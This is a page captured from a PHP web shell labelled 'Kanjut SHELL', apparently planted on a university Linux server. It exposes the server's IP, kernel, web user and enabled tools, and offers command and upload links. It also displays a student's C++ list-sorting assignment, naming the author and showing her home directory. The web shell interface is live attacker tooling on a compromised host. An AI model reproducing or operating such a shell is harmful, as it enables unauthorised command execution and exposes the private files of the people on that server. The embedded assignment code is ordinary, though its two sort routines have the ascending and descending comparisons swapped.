Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 18.116.40.151
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0705) :  /home/sknewsome/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/sknewsome/assignment_4.cpp
x// 	CS212 CS II Assignment 4
// 	Due: Monday, March 7th
//
// 	File Name: assignment_4.cpp
// 	Author: Symonne Newsome
// 	Instructor Dr. Wang
//
// 	Compile: g++ assignment_4.cpp
// 	Run: ./a.out
//
//	Goal: the program will prompt the user to insert an item, and 
//	will be able to sort the items and display the string list
  


#include <iostream>
using namespace std;

const int MAX = 500;

class List
{
        string data[MAX];
        int length;
public:
        List()  { length = 0;   }
        int Length() const
        {       return length;  }
        void Insert(string item)
        {       data[length] = item;
                length ++;
        }
        void Print() const
        {       for(int i=0; i<length; i++)
                        cout << data[i] << " ";
                cout << "\n";
        }
        bool IsPresent(string item) const
        {       bool found = false;
                for(int i=0; i<length && !found; i++)
                        if(data[i] == item) found = true;
                return found;
        }
        void SelectionSort()    
        {       string temp;
                int passCount;
                int minIndex;
                for(passCount=0; passCount<length-1; passCount ++)
                {       minIndex = passCount;
                        for(int k=passCount+1; k<length; k++)
                        {       if( data[minIndex] < data[k]) minIndex = k; }
                        temp = data[minIndex];
                        data[minIndex] = data[passCount];
                        data[passCount] = temp;
                }
        }
        void SelectionSort_D()  
        {       string temp;
                int passCount;
                int maxIndex;
                for(passCount=0; passCount<length-1; passCount++)
                {       maxIndex = passCount;
                        for(int k=passCount+1; k<length; k++)
                        {       if(data[maxIndex] > data[k]) maxIndex = k; }
                        temp = data[maxIndex];
                        data[maxIndex] = data[passCount];
                        data[passCount] = temp;
                }
        }

void menu()
        { char op;
        cout << "       List Operations\n";
        cout << "============================================\n";
        cout << "I      Insert an item.\n";
        cout << "F      Find out if the item is in the list.\n";
        cout << "S      Sort the list in ascending order.\n";
        cout << "R      Sort the list in descending order.\n";
        cout << "D      Display the list.\n";
        cout << "Q      Quit.\n";
        cout << "--------------------------------------------\n";
        cout << "Which operation do you choose?: ";
        
	cin >> op;
        }
};

int main()
{
        List real;
        char op;
        string item;

        cout << "       List Operations\n";
        cout << "=================================================\n";
        cout << "I      Insert an Item.\n";
        cout << "F      Find out if the item is in the list.\n";
        cout << "S      Sort the list in ascending order.\n";
        cout << "R      Sort the list in descending order.\n";
        cout << "D      Display the list.\n";
        cout << "Q      Quit.\n";
        cout << "---------------------------------------------------\n";
        cout << "Which operation do you choose?: ";
        cin >> op;

        while(toupper(op) != 'Q')
        {
                if(toupper(op) == 'I')
                {       cout << "Input the item: ";
                        cin >> item;
                        real.Insert(item);
                        cout << "The current list is - ";
                        real.Print();
                }
                else if(toupper(op) == 'F')
                {       cout << "Input an item to be found: ";
                        cin >> item;
                        if(real.IsPresent(item))
                                cout << item << " is in the list.\n";
                        else
                                cout << item << " is not in the list.\n";
                }
                else if(toupper(op) == 'S')
                {       real.SelectionSort();
                        cout << "The list is - ";
                        real.Print();
                }
                else if(toupper(op) == 'R')
                {       real.SelectionSort_D();
                        cout << "The list is - ";
                        real.Print();
                }
                else if(toupper(op) == 'D')
                {       cout << "The list is - ";
                        real.Print();
                }


                cout << "       List Operations\n";
                cout << "===========================================\n";
                cout << "I      Insert an Item.\n";
                cout << "F      Find out if the item is in the list.\n";
                cout << "S      Sort the list in ascending order.\n";
                cout << "R      Sort the list in descending order.\n";
                cout << "D      Display the list.\n";
                cout << "Q      Quit\n";
                cout << "------------------------------------------\n";
                cout << "Which operation do you choose: ";
                
		cin >> op;
        }

        return 0;
}

Stv3n404 - 2023